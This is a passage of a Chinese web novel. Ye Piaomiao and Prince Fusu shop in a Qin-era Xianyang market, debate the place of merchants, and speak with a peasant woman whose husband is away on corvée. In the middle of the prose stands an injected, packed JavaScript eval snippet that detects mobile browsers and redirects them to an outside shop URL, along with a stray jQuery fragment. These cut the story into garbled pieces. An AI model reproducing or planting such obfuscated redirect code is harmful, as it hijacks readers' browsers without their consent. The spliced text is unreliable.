叶缥缈跟着扶苏穿过刚开启的市门，西斜的日头把咸阳城的黄土路面晒得暖烘烘的，卖陶器的小贩正往席子上摆放碗碟，叮当作响。
"刚出笼的黍糕！"满头大汗的汉子推着独轮车吆喝，蒸笼揭开时白雾裹着粮食香扑面而来。
扶苏掏出两枚半两钱，金黄的糕块用荷叶托着递到叶缥缈手里，烫得她直吹手指。扶苏只得又给她拿多了一张荷叶包着。
漆器铺前围着几个商人，正用带着口音的官话争论价钱。隔壁铁匠铺传来叮叮当当的敲打声，新打的锄头堆在门口，等着乡农用粮食来换。
突然一阵骚动，人们纷纷避让。一队戴着木枷的囚犯低着头走过，铁链在黄土路上拖出长长的痕迹。
扶苏轻轻拉她退到布庄檐下，老板娘机灵地抖开一匹素绢："公子看看新到的料子？"
暮鼓声从市楼传来时，小贩们开始收摊。叶缥缈踩着满地菜叶往回走，忽然看见个老翁蹲在墙角，面前摆着三只捆脚的山鸡。
叶缥缈闻言，悄悄朝扶苏递去一个“你懂的”眼神。扶苏立刻会意，从袖中摸出几枚半两钱轻轻放入老翁颤巍巍的掌心。
“老伯，这些够了么？”他温声问道，随即格外熟练地弯腰，拎起了那三只被草绳缚住的山鸡。
暮色渐浓，市贩们纷纷收摊，拾掇着没卖完的货物。
“阿缈姐姐，金银玉器虽说不缺，但也不必每次净是采买鸡鱼野菜。”扶苏无奈道，但语气里没有半分责备，提了提被占得满满当当的两只手。
“那不然怎么办，你姐姐我这智商也就会花钱了。我倒是还想开店呢，这么看来难如登天！”阿姐的唇脂真的制成了，却只能送到各宫各府夫人的梳妆台上。
远处官市正在落锁，铁链声响彻长街。几个带着刑具的商贩被市吏押过，身后散落着没来得及收走的陶器碎片。
扶苏顺着她的目光望去：“商贾不产五谷，却坐享厚利...”
“可这些绸缎、漆器、盐巴，难道不都是好东西吗？”叶缥缈指向正在熄灭灶火的食摊，“便是那黍糕，若没有商人运粮磨面，又如何能到我们手中？”
扶苏望着空荡的街市轻声说：“所以父皇近年也在少府设了官市。”
叶缥缈道：“那大概也是因为他已经看到了商业活动的利润和必要性，所以他不消灭它，而是把它变成官府的独家生意。天下所有的利，最终都要流入朝廷的府库。”
“扶苏啊，历史的车轮要滚好几百年，才能滚出一条商业的出路，确实也不是一蹴而就的事情。”
“扶苏，你能不能拿好我的鸡，你要勒死它了！我要做白切鸡的！”
扶苏莞尔，“怕是没到宫门这些菜就散尽了……”
采买完毕，归途行至城郊，在一处朴素的民宅墙根下歇脚。土墙斑驳，但院子打扫得干净，几株葵菜长得正好。
一个约莫五六岁的女娃蹲在门口玩石子，嘴里咿咿呀呀地唱着不成调的谣：“阿父修路……换爵位……回家来……吃饴糖……”
这时，一位穿着粗布裙裳的妇人端着木盆出来倒水，看见衣着光鲜的叶缥缈和扶苏，有些拘谨地笑了笑。
叶缥缈主动搭话：“阿嫂，打扰了。我们路过歇歇脚。这女娃真乖巧。”
妇人见她和气，放松了些，用粗布擦着手：“贵人莫怪，乡下地方，没什么好招待的。”
“无妨。”叶缥缈看着女娃，柔声问：“她刚唱修路换爵位，是家里有人去服徭役了？”
“是啊，”妇人叹了口气，眼神望向远方，带着牵挂，“娃她爹，被征去修通往三晋的驰道了，说是‘甲等’干道，要紧得很。”
扶苏闻言，关切地问：“家中只剩你母女二人，还有老人，生活可还过得去？”
“比以前……是强些了。”妇人组织着语言，话语里带着一种底层百姓对政策
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16708934|189229||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
最朴素的解读和期盼，“以前啊，真是怕。怕官爷来，不是催税就是拉人。现在不一样了。”
她指了指屋里：“前阵子，真有官爷上门，但不是来催逼的。是来查问家里情况的，问了俺公公的病，记下了娃她爹服徭役的日期和地点，还问了家里有几亩田，荒了没有。说是……叫什么‘考课’，官爷们的升迁，也看咱们老百姓过得咋样哩！”
妇人脸上终于有了点光彩，“里正挨家挨户说了。娃她爹走前，俺们家开了两亩坡地，种了豆子。官爷来查田时，也记下了，说等秋收核验了产量，若能达标，就算娃她爹不在家，这‘爵’也能记在他名下，将来回来了，能抵役哩！”
她弯腰摸了摸女娃的头，声音里充满了最质朴的希望：“娃天天念，就盼着她爹凭着这爵位，能平平安安早点回来。”
确实是有了些盼头，但叶缥缈也知道，那条驰道会吞噬无数生命。那个抱着巨大希望等待丈夫归来的妇人，很可能最终等来的，只是一句冰冷的通知，和或许真能抵掉下一次徭役的、用丈夫性命换来的爵级。
妇人用衣角擦了擦手，脸上带着些许局促又真诚的羡慕，望着叶缥缈细嫩的双手和整洁的衣袍。
“这位贵人娘子，您这一看就是有福气的，不像我们这般操劳。您家夫君……定然是在咸阳城里做着体面差事，不必被征去那千里之外修路筑城吧？”
扶苏闻言，面容宁和，唇角依旧保持着那抹温和的弧度，始终保持恭谨。
“真好……您定是不必像我们这般，天天数着日子，盼着驿马带来消息，又怕听到消息的。”
叶缥缈交叠在腿上的双手不易察觉的收紧了些，轻声道：“是啊……可我却也是数着日子过的。”从初见他们到现在，数了十余载，还要再数十载。
“？姐姐说什么？”
“扶苏，回了吧，一会鱼死了就不好吃了，婶子，这鸡你留着吃吧……”